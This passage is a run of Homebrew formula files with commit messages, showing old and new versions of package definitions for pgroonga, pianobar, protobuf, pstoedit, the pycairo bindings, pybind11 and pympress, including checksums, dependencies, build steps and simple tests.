Dir["stage/**/share/postgresql/extension/*"] end test do pg_bin = Formula["postgresql"].opt_bin pg_port = "55561" system "#{pg_bin}/initdb", testpath/"test" pid = fork { exec "#{pg_bin}/postgres", "-D", testpath/"test", "-p", pg_port } begin sleep 2 system "#{pg_bin}/createdb", "-p", pg_port system "#{pg_bin}/psql", "-p", pg_port, "--command", "CREATE DATABASE test;" system "#{pg_bin}/psql", "-p", pg_port, "-d", "test", "--command", "CREATE EXTENSION pgroonga;" ensure Process.kill 9, pid Process.wait pid end end end
class Pgroonga < Formula desc "PostgreSQL plugin to use Groonga as index" homepage "https://pgroonga.github.io/" url "https://packages.groonga.org/source/pgroonga/pgroonga-2.0.7.tar.gz" sha256 "706d934adf57bea918fa529d8ab8739e0153f3d49821c9e7c7fc719aebd19af9" bottle do cellar :any sha256 "8f8022f0bd62ea331400648e4925b0fd558a4d55f59d21261b6fc87ca9e27457" => :high_sierra sha256 "2d27e8ed92df0293e19a3b4a99da1e12ddde52341f57964966c20a4f77280868" => :sierra sha256 "e2f55227016a5f03cb6d77ee7c88251aee83602870f4842879d0a261af223c90" => :el_capitan end depends_on "pkg-config" => :build depends_on "groonga" depends_on "postgresql" def install system "make" mkdir "stage" system "make", "install", "DESTDIR=#{buildpath}/stage" lib.install Dir["stage/**/lib/*"] (share/"postgresql/extension").install Dir["stage/**/share/postgresql/extension/*"] end test do pg_bin = Formula["postgresql"].opt_bin pg_port = "55561" system "#{pg_bin}/initdb", testpath/"test" pid = fork { exec "#{pg_bin}/postgres", "-D", testpath/"test", "-p", pg_port } begin sleep 2 system "#{pg_bin}/createdb", "-p", pg_port system "#{pg_bin}/psql", "-p", pg_port, "--command", "CREATE DATABASE test;" system "#{pg_bin}/psql", "-p", pg_port, "-d", "test", "--command", "CREATE EXTENSION pgroonga;" ensure Process.kill 9, pid Process.wait pid end end end pgroonga: update 2.0.7 bottle. class Pgroonga < Formula desc "PostgreSQL plugin to use Groonga as index" homepage "https://pgroonga.github.io/" url "https://packages.groonga.org/source/pgroonga/pgroonga-2.0.7.tar.gz" sha256 "706d934adf57bea918fa529d8ab8739e0153f3d49821c9e7c7fc719aebd19af9" bottle do cellar :any sha256 "6ebc1a553ee45580040e2eec7d5d4c1dcb1c174adbe3374ed89eb106db8350f8" => :high_sierra sha256 "25a44e6e2de6fc989e70f6393f03333f5a8dfec5146ae576bb80df840dea747d" => :sierra sha256 "de32c9edde09b51afb1d2c6343056f5245c83397c976b5220a42ac6d7061eaa4" => :el_capitan end depends_on "pkg-config" => :build depends_on "groonga" depends_on "postgresql" def install system "make" mkdir "stage" system "make", "install", "DESTDIR=#{buildpath}/stage" lib.install Dir["stage/**/lib/*"] (share/"postgresql/extension").install Dir["stage/**/share/postgresql/extension/*"] end test do pg_bin = Formula["postgresql"].opt_bin pg_port = "55561" system "#{pg_bin}/initdb", testpath/"test" pid = fork { exec "#{pg_bin}/postgres", "-D", testpath/"test", "-p", pg_port } begin sleep 2 system "#{pg_bin}/createdb", "-p", pg_port system "#{pg_bin}/psql", "-p", pg_port, "--command", "CREATE DATABASE test;" system "#{pg_bin}/psql", "-p", pg_port, "-d", "test", "--command", "CREATE EXTENSION pgroonga;" ensure Process.kill 9, pid Process.wait pid end end end
require 'formula' class Pianobar < Formula url 'https://github.com/PromyLOPh/pianobar/tarball/2012.01.10' version '2012.01.10' homepage 'https://github.com/PromyLOPh/pianobar/' md5 'a703227c079cb0fe20ac4abbdfbc6f08' head 'https://github.com/PromyLOPh/pianobar.git' depends_on 'libao' depends_on 'mad' depends_on 'faad2' depends_on 'gnutls' skip_clean 'bin' fails_with_llvm "Reports of this not compiling on Xcode 4", :build => 2334 def install # we discard Homebrew's CFLAGS as Pianobar reportdely doesn't like them ENV['CFLAGS'] = "-O2 -DNDEBUG " + # fixes a segfault: https://github.com/PromyLOPh/pianobar/issues/138 "-D_DARWIN_C_SOURCE " + # Or it doesn't build at all "-std=c99 " + # build if we aren't /usr/local' "#{ENV["CPPFLAGS"]} #{ENV["LDFLAGS"]}" system "make", "PREFIX=#{prefix}" system "make", "install", "PREFIX=#{prefix}" # Install contrib folder too, why not. prefix.install Dir['contrib'] end end pianobar: fix audit warning and comment typo require 'formula' class Pianobar < Formula homepage 'https://github.com/PromyLOPh/pianobar/' url 'https://github.com/PromyLOPh/pianobar/tarball/2012.01.10' md5 'a703227c079cb0fe20ac4abbdfbc6f08' head 'https://github.com/PromyLOPh/pianobar.git' depends_on 'libao' depends_on 'mad' depends_on 'faad2' depends_on 'gnutls' skip_clean 'bin' fails_with_llvm "Reports of this not compiling on Xcode 4", :build => 2334 def install # Discard Homebrew's CFLAGS as Pianobar reportedly doesn't like them ENV['CFLAGS'] = "-O2 -DNDEBUG " + # fixes a segfault: https://github.com/PromyLOPh/pianobar/issues/138 "-D_DARWIN_C_SOURCE " + # Or it doesn't build at all "-std=c99 " + # build if we aren't /usr/local' "#{ENV["CPPFLAGS"]} #{ENV["LDFLAGS"]}" system "make", "PREFIX=#{prefix}" system "make", "install", "PREFIX=#{prefix}" # Install contrib folder too, why not. prefix.install Dir['contrib'] end end
class Protobuf < Formula desc "Protocol buffers (Google's data interchange format)" homepage "https://github.com/protocolbuffers/protobuf/" url "https://github.com/protocolbuffers/protobuf/releases/download/v21.8/protobuf-all-21.8.tar.gz" sha256 "83ad4faf95ff9cbece7cb9c56eb3ca9e42c3497b77001840ab616982c6269fb6" license "BSD-3-Clause" livecheck do url :stable strategy :github_latest end bottle do sha256 cellar: :any, arm64_ventura: "6210921ae0413351230dbfbe6459c39344aba55c488b9feeba835ed563190165" sha256 cellar: :any, arm64_monterey: "5f507ada52497a6dc2d3044b07faee312348277d4a69467e8eac371d4d4111bb" sha256 cellar: :any, arm64_big_sur: "894f6f1f404b3e049751e81c3a2a31bea621e664b3bf317c913946c814f5c4c0" sha256 cellar: :any, monterey: "bbf1936a2317f331ab2ab2bd6c981db6de8828feae20b698b186d9504d155507" sha256 cellar: :any, big_sur: "3cc298cbd78936785e33ae475b3adc886c48790e77120d58f42a26b9b1b2091c" sha256 cellar: :any, catalina: "ffea5a8b744cd725a488457c255ef7cf1c4f01e1cfed58708161021b0a083a66" sha256 cellar: :any_skip_relocation, x86_64_linux: "427c12abde99ab19c1a284df9d90eb57ea03e89dc5696f36c38ac03e83f6b62b" end head do url "https://github.com/protocolbuffers/protobuf.git", branch: "main" depends_on "autoconf" => :build depends_on "automake" => :build depends_on "libtool" => :build end depends_on "python@3.10" => [:build, :test] depends_on "python@3.9" => [:build, :test] uses_from_macos "zlib" def install # Don't build in debug mode. See: # https://github.com/Homebrew/homebrew/issues/9279 # https://github.com/protocolbuffers/protobuf/blob/5c24564811c08772d090305be36fae82d8f12bbe/configure.ac#L61 ENV.prepend "CXXFLAGS", "-DNDEBUG" ENV.cxx11 system "./autogen.sh" if build.head? system "./configure", "--disable-debug", "--disable-dependency-tracking", "--prefix=#{prefix}", "--with-zlib" system "make" system "make", "check" system "make", "install" # Install editor support and examples pkgshare.install "editors/proto.vim", "examples" elisp.install "editors/protobuf-mode.el" ENV.append_to_cflags "-I#{include}" ENV.append_to_cflags "-L#{lib}" cd "python" do ["3.9", "3.10"].each do |xy| system "python#{xy}", *Language::Python.setup_install_args(prefix, "python#{xy}"), "--cpp_implementation" end end end test do testdata = <<~EOS syntax = "proto3"; package test; message TestCase { string name = 4; } message Test { repeated TestCase case = 1; } EOS (testpath/"test.proto").write testdata system bin/"protoc", "test.proto", "--cpp_out=." system Formula["python@3.9"].opt_bin/"python3.9", "-c", "import google.protobuf" system Formula["python@3.10"].opt_bin/"python3.10", "-c", "import google.protobuf" end end protobuf 21.9 Closes #114310. Signed-off-by: FX Coudert <c329953660db96eae534be5bbf1a735c2baf69b5@gmail.com> Signed-off-by: BrewTestBot <8a898ee6867e4f2028e63d2a6319b2224641c06c@users.noreply.github.com> class Protobuf < Formula desc "Protocol buffers (Google's data interchange format)" homepage "https://github.com/protocolbuffers/protobuf/" url "https://github.com/protocolbuffers/protobuf/releases/download/v21.9/protobuf-all-21.9.tar.gz" sha256 "c00f05e19e89b04ea72e92a3c204eedda91f871cd29b0bbe5188550d783c73c7" license "BSD-3-Clause" livecheck do url :stable strategy :github_latest end bottle do sha256 cellar: :any, arm64_ventura: "6210921ae0413351230dbfbe6459c39344aba55c488b9feeba835ed563190165" sha256 cellar: :any, arm64_monterey: "5f507ada52497a6dc2d3044b07faee312348277d4a69467e8eac371d4d4111bb" sha256 cellar: :any, arm64_big_sur: "894f6f1f404b3e049751e81c3a2a31bea621e664b3bf317c913946c814f5c4c0" sha256 cellar: :any, monterey: "bbf1936a2317f331ab2ab2bd6c981db6de8828feae20b698b186d9504d155507" sha256 cellar: :any, big_sur: "3cc298cbd78936785e33ae475b3adc886c48790e77120d58f42a26b9b1b2091c" sha256 cellar: :any, catalina: "ffea5a8b744cd725a488457c255ef7cf1c4f01e1cfed58708161021b0a083a66" sha256 cellar: :any_skip_relocation, x86_64_linux: "427c12abde99ab19c1a284df9d90eb57ea03e89dc5696f36c38ac03e83f6b62b" end head do url "https://github.com/protocolbuffers/protobuf.git", branch: "main" depends_on "autoconf" => :build depends_on "automake" => :build depends_on "libtool" => :build end depends_on "python@3.10" => [:build, :test] depends_on "python@3.9" => [:build, :test] uses_from_macos "zlib" def install # Don't build in debug mode. See: # https://github.com/Homebrew/homebrew/issues/9279 # https://github.com/protocolbuffers/protobuf/blob/5c24564811c08772d090305be36fae82d8f12bbe/configure.ac#L61 ENV.prepend "CXXFLAGS", "-DNDEBUG" ENV.cxx11 system "./autogen.sh" if build.head? system "./configure", "--disable-debug", "--disable-dependency-tracking", "--prefix=#{prefix}", "--with-zlib" system "make" system "make", "check" system "make", "install" # Install editor support and examples pkgshare.install "editors/proto.vim", "examples" elisp.install "editors/protobuf-mode.el" ENV.append_to_cflags "-I#{include}" ENV.append_to_cflags "-L#{lib}" cd "python" do ["3.9", "3.10"].each do |xy| system "python#{xy}", *Language::Python.setup_install_args(prefix, "python#{xy}"), "--cpp_implementation" end end end test do testdata = <<~EOS syntax = "proto3"; package test; message TestCase { string name = 4; } message Test { repeated TestCase case = 1; } EOS (testpath/"test.proto").write testdata system bin/"protoc", "test.proto", "--cpp_out=." system Formula["python@3.9"].opt_bin/"python3.9", "-c", "import google.protobuf" system Formula["python@3.10"].opt_bin/"python3.10", "-c", "import google.protobuf" end end
class Protobuf < Formula desc "Protocol buffers (Google's data interchange format)" homepage "https://github.com/protocolbuffers/protobuf/" url "https://github.com/protocolbuffers/protobuf.git", :tag => "v3.11.3", :revision => "498de9f761bef56a032815ee44b6e6dbe0892cc4" head "https://github.com/protocolbuffers/protobuf.git" bottle do sha256 "fdc9d78ac467e9c34aee15c060fcd811b87e9d9731ef5e726637a401b63ef38b" => :catalina sha256 "4a26332a2822c91cef4357e00d8eeb86e9a61c25c1351d44e4710a6e7257d6b6" => :mojave sha256 "f833943939cec43ff8474a0622063cdd11eae507dd12c9068e6376e161f55403" => :high_sierra end depends_on "autoconf" => :build depends_on "automake" => :build depends_on "libtool" => :build depends_on "python" => [:build, :test] resource "six" do url "https://files.pythonhosted.org/packages/21/9f/b251f7f8a76dec1d6651be194dfba8fb8d7781d10ab3987190de8391d08e/six-1.14.0.tar.gz" sha256 "236bdbdce46e6e6a3d61a337c0f8b763ca1e8717c03b369e87a7ec7ce1319c0a" end unless OS.mac? fails_with :gcc => "4" fails_with :gcc => "5" depends_on "gcc@6" end def install # Don't build in debug mode. See: # https://github.com/Homebrew/homebrew/issues/9279 # https://github.com/protocolbuffers/protobuf/blob/5c24564811c08772d090305be36fae82d8f12bbe/configure.ac#L61 ENV.prepend "CXXFLAGS", "-DNDEBUG" ENV.cxx11 system "./autogen.sh" system "./configure", "--disable-debug", "--disable-dependency-tracking", "--prefix=#{prefix}", "--with-zlib" system "make" system "make", "check" system "make", "install" # Install editor support and examples doc.install "editors", "examples" ENV.append_to_cflags "-I#{include}" ENV.append_to_cflags "-L#{lib}" resource("six").stage do system "python3", *Language::Python.setup_install_args(libexec) end chdir "python" do system "python3", *Language::Python.setup_install_args(libexec), "--cpp_implementation" end version = Language::Python.major_minor_version "python3" site_packages = "lib/python#{version}/site-packages" pth_contents = "import site; site.addsitedir('#{libexec/site_packages}')\n" (prefix/site_packages/"homebrew-protobuf.pth").write pth_contents end test do testdata = <<~EOS syntax = "proto3"; package test; message TestCase { string name = 4; } message Test { repeated TestCase case = 1; } EOS (testpath/"test.proto").write testdata system bin/"protoc", "test.proto", "--cpp_out=." system "python3", "-c", "import google.protobuf" end end protobuf: update 3.11.3 bottle. Co-authored-by: Dawid Dziurla <c4a7db180859322ef5630a1dfc2805b5bc97fc25@gmail.com> class Protobuf < Formula desc "Protocol buffers (Google's data interchange format)" homepage "https://github.com/protocolbuffers/protobuf/" url "https://github.com/protocolbuffers/protobuf.git", :tag => "v3.11.3", :revision => "498de9f761bef56a032815ee44b6e6dbe0892cc4" head "https://github.com/protocolbuffers/protobuf.git" bottle do sha256 "fdc9d78ac467e9c34aee15c060fcd811b87e9d9731ef5e726637a401b63ef38b" => :catalina sha256 "4a26332a2822c91cef4357e00d8eeb86e9a61c25c1351d44e4710a6e7257d6b6" => :mojave sha256 "f833943939cec43ff8474a0622063cdd11eae507dd12c9068e6376e161f55403" => :high_sierra sha256 "c8184df357a2c7571182217d6ea166d5c3d895759d517200f2a086ea03d3453f" => :x86_64_linux end depends_on "autoconf" => :build depends_on "automake" => :build depends_on "libtool" => :build depends_on "python" => [:build, :test] resource "six" do url "https://files.pythonhosted.org/packages/21/9f/b251f7f8a76dec1d6651be194dfba8fb8d7781d10ab3987190de8391d08e/six-1.14.0.tar.gz" sha256 "236bdbdce46e6e6a3d61a337c0f8b763ca1e8717c03b369e87a7ec7ce1319c0a" end unless OS.mac? fails_with :gcc => "4" fails_with :gcc => "5" depends_on "gcc@6" end def install # Don't build in debug mode. See: # https://github.com/Homebrew/homebrew/issues/9279 # https://github.com/protocolbuffers/protobuf/blob/5c24564811c08772d090305be36fae82d8f12bbe/configure.ac#L61 ENV.prepend "CXXFLAGS", "-DNDEBUG" ENV.cxx11 system "./autogen.sh" system "./configure", "--disable-debug", "--disable-dependency-tracking", "--prefix=#{prefix}", "--with-zlib" system "make" system "make", "check" system "make", "install" # Install editor support and examples doc.install "editors", "examples" ENV.append_to_cflags "-I#{include}" ENV.append_to_cflags "-L#{lib}" resource("six").stage do system "python3", *Language::Python.setup_install_args(libexec) end chdir "python" do system "python3", *Language::Python.setup_install_args(libexec), "--cpp_implementation" end version = Language::Python.major_minor_version "python3" site_packages = "lib/python#{version}/site-packages" pth_contents = "import site; site.addsitedir('#{libexec/site_packages}')\n" (prefix/site_packages/"homebrew-protobuf.pth").write pth_contents end test do testdata = <<~EOS syntax = "proto3"; package test; message TestCase { string name = 4; } message Test { repeated TestCase case = 1; } EOS (testpath/"test.proto").write testdata system bin/"protoc", "test.proto", "--cpp_out=." system "python3", "-c", "import google.protobuf" end end
class Pstoedit < Formula desc "Convert PostScript and PDF files to editable vector graphics" homepage "http://www.pstoedit.net/" url "https://downloads.sourceforge.net/project/pstoedit/pstoedit/3.77/pstoedit-3.77.tar.gz" sha256 "9a6c6b02ea91e9f836448ccc5a614caa514a9ba17e94f1d6c0babc72a4395b09" license "GPL-2.0-or-later" bottle do sha256 arm64_big_sur: "9646c975ae5a9f2d4b9f275f35f66209c039caee11cb110006268e32514f3a5b" sha256 big_sur: "c76b47283e6032cc1a03a3fbd36336df45cc9ef7c9b9754cfcd24ca84a33ebdf" sha256 catalina: "0c90597e74d743451a0df04969f2f4a424b275b75121d05f2f4da7b5a68dbe82" sha256 mojave: "9835ffc2e2099f4e0eec8ae34b89a24678d6a360537c529347bdad5efa9b00e6" sha256 x86_64_linux: "554a5ef2692a5dafbba4b1412ddb34038b61a93b60d31b7ba4ff142dd18584c0" end depends_on "pkg-config" => :build depends_on "ghostscript" depends_on "imagemagick" depends_on "plotutils" on_linux do depends_on "gcc" end # "You need a C++ compiler, e.g., g++ (newer than 6.0) to compile pstoedit." fails_with gcc: "5" def install on_macos { ENV.cxx11 } system "./configure", "--disable-dependency-tracking", "--prefix=#{prefix}" system "make", "install" end test do system bin/"pstoedit", "-f", "gs:pdfwrite", test_fixtures("test.ps"), "test.pdf" assert_predicate testpath/"test.pdf", :exist? end end pstoedit: update 3.77 bottle. class Pstoedit < Formula desc "Convert PostScript and PDF files to editable vector graphics" homepage "http://www.pstoedit.net/" url "https://downloads.sourceforge.net/project/pstoedit/pstoedit/3.77/pstoedit-3.77.tar.gz" sha256 "9a6c6b02ea91e9f836448ccc5a614caa514a9ba17e94f1d6c0babc72a4395b09" license "GPL-2.0-or-later" bottle do sha256 arm64_big_sur: "dce054c832eec5e05bce925ce70277c877cb8ca623b6ce165de399d47f66836b" sha256 big_sur: "eeae982fb21d7a8568f1ce4547fae20e363f6a3217da6ebb51ab57c4603137c6" sha256 catalina: "68ec1bf2168f33a45cd4787b00d666e460115b99aee28b12a30199c1ce260d40" sha256 mojave: "058c36cd7907d452cabd992a3dbfc71f87d8f2a87ae5a64aeed82418d4cb071e" sha256 x86_64_linux: "700f92af568334b5eaed855fcc02840095e89459329dcee924568ea97cab02d4" end depends_on "pkg-config" => :build depends_on "ghostscript" depends_on "imagemagick" depends_on "plotutils" on_linux do depends_on "gcc" end # "You need a C++ compiler, e.g., g++ (newer than 6.0) to compile pstoedit." fails_with gcc: "5" def install on_macos { ENV.cxx11 } system "./configure", "--disable-dependency-tracking", "--prefix=#{prefix}" system "make", "install" end test do system bin/"pstoedit", "-f", "gs:pdfwrite", test_fixtures("test.ps"), "test.pdf" assert_predicate testpath/"test.pdf", :exist? end end
class Py2cairo < Formula desc "Python 2 bindings for the Cairo graphics library" homepage "https://cairographics.org/pycairo/" url "https://github.com/pygobject/pycairo/releases/download/v1.18.2/pycairo-1.18.2.tar.gz" sha256 "dcb853fd020729516e8828ad364084e752327d4cff8505d20b13504b32b16531" bottle do cellar :any sha256 "e7d33dfe96f2aafdcc895e211aff9691c030126ae717ca1e8c845f3d0100ca72" => :catalina sha256 "a1dbbca0c6a9d8f0f0a43ccfc3827f4209c834da8dd03f2c8f98aff5d3b76dd5" => :mojave sha256 "3f333bfd82a7ecdbcd25fddf0ebcf99b00a34a4084523c3eccdb4716fe9940fb" => :high_sierra end depends_on "pkg-config" => :build depends_on "cairo" depends_on "python@2" def install system "python", *Language::Python.setup_install_args(prefix) end test do system "python", "-c", "import cairo; print(cairo.version)" end end py2cairo: use system Python 2 because python@2 will be removed end of 2019. Closes #47831. Signed-off-by: Michka Popoff <7b0496f66f66ee22a38826c310c38b415671b832@gmail.com> class Py2cairo < Formula desc "Python 2 bindings for the Cairo graphics library" homepage "https://cairographics.org/pycairo/" url "https://github.com/pygobject/pycairo/releases/download/v1.18.2/pycairo-1.18.2.tar.gz" sha256 "dcb853fd020729516e8828ad364084e752327d4cff8505d20b13504b32b16531" revision 1 bottle do cellar :any sha256 "e7d33dfe96f2aafdcc895e211aff9691c030126ae717ca1e8c845f3d0100ca72" => :catalina sha256 "a1dbbca0c6a9d8f0f0a43ccfc3827f4209c834da8dd03f2c8f98aff5d3b76dd5" => :mojave sha256 "3f333bfd82a7ecdbcd25fddf0ebcf99b00a34a4084523c3eccdb4716fe9940fb" => :high_sierra end depends_on "pkg-config" => :build depends_on "cairo" uses_from_macos "python@2" def install system "python", *Language::Python.setup_install_args(prefix) end test do system "python", "-c", "import cairo; print(cairo.version)" end end
class Py3cairo < Formula desc "Python 3 bindings for the Cairo graphics library" homepage "https://cairographics.org/pycairo/" url "https://github.com/pygobject/pycairo/releases/download/v1.15.4/pycairo-1.15.4.tar.gz" sha256 "ee4c3068c048230e5ce74bb8994a024711129bde1af1d76e3276c7acd81c4357" revision 1 bottle do cellar :any sha256 "6e406c3d2a25243a94dc431943af690609c05e3c5f249aa92aaf50990a3f8bab" => :high_sierra sha256 "6a920f844ddc419ab1606ec5883dcde4591fd10d09df0db00e0c36f7c89c6579" => :sierra sha256 "f87c163a44a9600cd6a7cff663d49cac28262c02c71978353c880571f7046283" => :el_capitan end depends_on "pkg-config" => :build depends_on "cairo" depends_on "python3" def install system "python3", *Language::Python.setup_install_args(prefix) end test do system "python3", "-c", "import cairo; print(cairo.version)" end end py3cairo: update 1.15.4_1 bottle for Linuxbrew. Closes Linuxbrew/homebrew-core#5509. Signed-off-by: Michka Popoff <7b0496f66f66ee22a38826c310c38b415671b832@gmail.com> class Py3cairo < Formula desc "Python 3 bindings for the Cairo graphics library" homepage "https://cairographics.org/pycairo/" url "https://github.com/pygobject/pycairo/releases/download/v1.15.4/pycairo-1.15.4.tar.gz" sha256 "ee4c3068c048230e5ce74bb8994a024711129bde1af1d76e3276c7acd81c4357" revision 1 bottle do cellar :any sha256 "6e406c3d2a25243a94dc431943af690609c05e3c5f249aa92aaf50990a3f8bab" => :high_sierra sha256 "6a920f844ddc419ab1606ec5883dcde4591fd10d09df0db00e0c36f7c89c6579" => :sierra sha256 "f87c163a44a9600cd6a7cff663d49cac28262c02c71978353c880571f7046283" => :el_capitan sha256 "021391d84d08fc6f6b19b51461f9522c87045b53db6c22b8dd1e728d8ceb8846" => :x86_64_linux end depends_on "pkg-config" => :build depends_on "cairo" depends_on "python3" def install system "python3", *Language::Python.setup_install_args(prefix) end test do system "python3", "-c", "import cairo; print(cairo.version)" end end
class Pybind11 < Formula desc "Seamless operability between C++11 and Python" homepage "https://github.com/pybind/pybind11" url "https://github.com/pybind/pybind11/archive/v2.5.0.tar.gz" sha256 "97504db65640570f32d3fdf701c25a340c8643037c3b69aec469c10c93dc8504" license "BSD-3-Clause" revision 1 bottle do cellar :any_skip_relocation sha256 "a3334931157e3b139511958bb099ea0f2db16a2d057b16ffd89892e067c867a8" => :catalina sha256 "0bbab71bb6068d909b284aba95440602d9f157dc431ea132c8c5e2582f677102" => :mojave sha256 "c5760e0911e19d56308e1ca88327d9c24d9184fce606b6c92436ca405ee11407" => :high_sierra end depends_on "cmake" => :build depends_on "python@3.9" def install system "cmake", ".", "-DPYBIND11_TEST=OFF", *std_cmake_args system "make", "install" end test do (testpath/"example.cpp").write <<~EOS #include <pybind11/pybind11.h> int add(int i, int j) { return i + j; } namespace py = pybind11; PYBIND11_PLUGIN(example) { py::module m("example", "pybind11 example plugin"); m.def("add", &add, "A function which adds two numbers"); return m.ptr(); } EOS (testpath/"example.py").write <<~EOS import example example.add(1,2) EOS python_flags = `#{Formula["python@3.9"].opt_bin}/python3-config --cflags --ldflags --embed`.split(" ") system ENV.cxx, "-O3", "-shared", "-std=c++11", *python_flags, *("-fPIC" unless OS.mac?), "example.cpp", "-o", "example.so" system Formula["python@3.9"].opt_bin/"python3", "example.py" end end pybind11: update 2.5.0_1 bottle. class Pybind11 < Formula desc "Seamless operability between C++11 and Python" homepage "https://github.com/pybind/pybind11" url "https://github.com/pybind/pybind11/archive/v2.5.0.tar.gz" sha256 "97504db65640570f32d3fdf701c25a340c8643037c3b69aec469c10c93dc8504" license "BSD-3-Clause" revision 1 bottle do cellar :any_skip_relocation sha256 "a3334931157e3b139511958bb099ea0f2db16a2d057b16ffd89892e067c867a8" => :catalina sha256 "0bbab71bb6068d909b284aba95440602d9f157dc431ea132c8c5e2582f677102" => :mojave sha256 "c5760e0911e19d56308e1ca88327d9c24d9184fce606b6c92436ca405ee11407" => :high_sierra sha256 "ed31e3cd5ce2640252882920bd5db332a0a00e7fc369ed8f4b989c0ebda9199d" => :x86_64_linux end depends_on "cmake" => :build depends_on "python@3.9" def install system "cmake", ".", "-DPYBIND11_TEST=OFF", *std_cmake_args system "make", "install" end test do (testpath/"example.cpp").write <<~EOS #include <pybind11/pybind11.h> int add(int i, int j) { return i + j; } namespace py = pybind11; PYBIND11_PLUGIN(example) { py::module m("example", "pybind11 example plugin"); m.def("add", &add, "A function which adds two numbers"); return m.ptr(); } EOS (testpath/"example.py").write <<~EOS import example example.add(1,2) EOS python_flags = `#{Formula["python@3.9"].opt_bin}/python3-config --cflags --ldflags --embed`.split(" ") system ENV.cxx, "-O3", "-shared", "-std=c++11", *python_flags, *("-fPIC" unless OS.mac?), "example.cpp", "-o", "example.so" system Formula["python@3.9"].opt_bin/"python3", "example.py" end end
pympress 1.5.1 (new formula) This commits adds a new formula to install pympress, which is a PDF viewer designed for presentations (with dual screens and other specific features for PDF/beamer presentations) - under GPL 2.0. The code is python and relies on Gtk+3 and Poppler with introspection bindings. Therefore it is especially useful to package it with the proper dependencies via homebrew. The install procedure simply uses the recommended virtualenv python install method and adds pympress to the bin/ path. Check the contents of the log file as a way of testing all the dependencies are present. Closes #47143. Signed-off-by: Rui Chen <5fd29470147430022ff146db88de16ee91dea376@gmail.com> class Pympress < Formula include Language::Python::Virtualenv desc "Simple and powerful dual-screen PDF reader designed for presentations" homepage "https://github.com/Cimbali/pympress/" url "https://files.pythonhosted.org/packages/35/03/4e655064b30b5717cfed53da88eda098971728fe4c8c94b1599833edbc66/pympress-1.5.1.tar.gz" sha256 "8ea3808f31c9ae4152bdcf09632e1fece943d91fc3c974c4c3497ce1984e6d9c" head "https://github.com/Cimbali/pympress.git" depends_on "gobject-introspection" depends_on "gtk+3" depends_on "poppler" depends_on "pygobject3" depends_on "python" resource "argh" do url "https://files.pythonhosted.org/packages/e3/75/1183b5d1663a66aebb2c184e0398724b624cecd4f4b679cb6e25de97ed15/argh-0.26.2.tar.gz" sha256 "e9535b8c84dc9571a48999094fda7f33e63c3f1b74f3e5f3ac0105a58405bb65" end resource "pathtools" do url "https://files.pythonhosted.org/packages/e7/7f/470d6fcdf23f9f3518f6b0b76be9df16dcc8630ad409947f8be2eb0ed13a/pathtools-0.1.2.tar.gz" sha256 "7c35c5421a39bb82e58018febd90e3b6e5db34c5443aaaf742b3f33d4655f1c0" end resource "python-vlc" do url "https://files.pythonhosted.org/packages/a8/51/299f4804c43f99d718ed43a63b1ea0712932e25b6bbe1ee1817cb8e954f7/python-vlc-3.0.7110.tar.gz" sha256 "821bca0dbe08fbff97a65e56ff2318ad7d499330876579c39f01f3fb38c7b679" end resource "PyYAML" do url "https://files.pythonhosted.org/packages/e3/e8/b3212641ee2718d556df0f23f78de8303f068fe29cdaa7a91018849582fe/PyYAML-5.1.2.tar.gz" sha256 "01adf0b6c6f61bd11af6e10ca52b7d4057dd0be0343eb9283c878cf3af56aee4" end resource "watchdog" do url "https://files.pythonhosted.org/packages/bb/e3/5a55d48a29300160779f0a0d2776d17c1b762a2039b36de528b093b87d5b/watchdog-0.9.0.tar.gz" sha256 "965f658d0732de3188211932aeb0bb457587f04f63ab4c1e33eab878e9de961d" end def install virtualenv_install_with_resources bin.install_symlink libexec/"bin/pympress" end test do system bin/"pympress", "--help" # Version info contained in log file only if all dependencies loaded successfully assert_predicate testpath/"Library/Logs/pympress.log", :exist? output = (testpath/"Library/Logs/pympress.log").read assert_match /^INFO:pympress.__main__:Pympress: #{version}\s*;/, output end end
class Pympress < Formula include Language::Python::Virtualenv desc "Simple and powerful dual-screen PDF reader designed for presentations" homepage "https://github.com/Cimbali/pympress/" url "https://files.pythonhosted.org/packages/c8/dc/5343fe21c911247410667fe93d9b9a46355572ce4154037c0d7657d211ce/pympress-1.6.1.tar.gz" sha256 "17943f706124edbabb0b06a50ee927f04ee6cc232ba6edb9ccb15cc4263c0dd5" license "GPL-2.0-or-later" head "https://github.com/Cimbali/pympress.git" bottle do sha256 cellar: :any, big_sur: "0dace778ed9f1ac2939f6b4c1305a629c4fc256d8768b9658196e90f0819e84e" sha256 cellar: :any, catalina: "d730fa081be30bd9dd49fa5f08cf8aa39ac31842fbb8b86423c1bc28db8b616c" sha256 cellar: :any, mojave: "88b035ea21bd93571a1920bd94c1bc293ee68ffbc63237dbe8f9da0958323bae" end depends_on "gobject-introspection" depends_on "gtk+3" depends_on "libyaml" depends_on "poppler" depends_on "pygobject3" depends_on "python@3.9" resource "argh" do url "https://files.pythonhosted.org/packages/e3/75/1183b5d1663a66aebb2c184e0398724b624cecd4f4b679cb6e25de97ed15/argh-0.26.2.tar.gz" sha256 "e9535b8c84dc9571a48999094fda7f33e63c3f1b74f3e5f3ac0105a58405bb65" end resource "pathtools" do url "https://files.pythonhosted.org/packages/e7/7f/470d6fcdf23f9f3518f6b0b76be9df16dcc8630ad409947f8be2eb0ed13a/pathtools-0.1.2.tar.gz" sha256 "7c35c5421a39bb82e58018febd90e3b6e5db34c5443aaaf742b3f33d4655f1c0" end resource "python-vlc" do url "https://files.pythonhosted.org/packages/a8/51/299f4804c43f99d718ed43a63b1ea0712932e25b6bbe1ee1817cb8e954f7/python-vlc-3.0.7110.tar.gz" sha256 "821bca0dbe08fbff97a65e56ff2318ad7d499330876579c39f01f3fb38c7b679" end resource "PyYAML" do url "https://files.pythonhosted.org/packages/e3/e8/b3212641ee2718d556df0f23f78de8303f068fe29cdaa7a91018849582fe/PyYAML-5.1.2.tar.gz" sha256 "01adf0b6c6f61bd11af6e10ca52b7d4057dd0be0343eb9283c878cf3af56aee4" end resource "watchdog" do url "https://files.pythonhosted.org/packages/bb/e3/5a55d48a29300160779f0a0d2776d17c1b762a2039b36de528b093b87d5b/watchdog-0.9.0.tar.gz" sha256 "965f658d0732de3188211932aeb0bb457587f04f63ab4c1e33eab878e9de961d" end def install virtualenv_install_with_resources bin.install_symlink libexec/"bin/pympress" end test do on_linux do # (pympress:48790): Gtk-WARNING **: 13:03:37.080: cannot open display return if ENV["HOMEBREW_GITHUB_ACTIONS"] end system bin/"pympress", "--quit" end end pympress: update 1.6.1 bottle. class Pympress < Formula include Language::Python::Virtualenv desc "Simple and powerful dual-screen PDF reader designed for presentations" homepage "https://github.com/Cimbali/pympress/" url 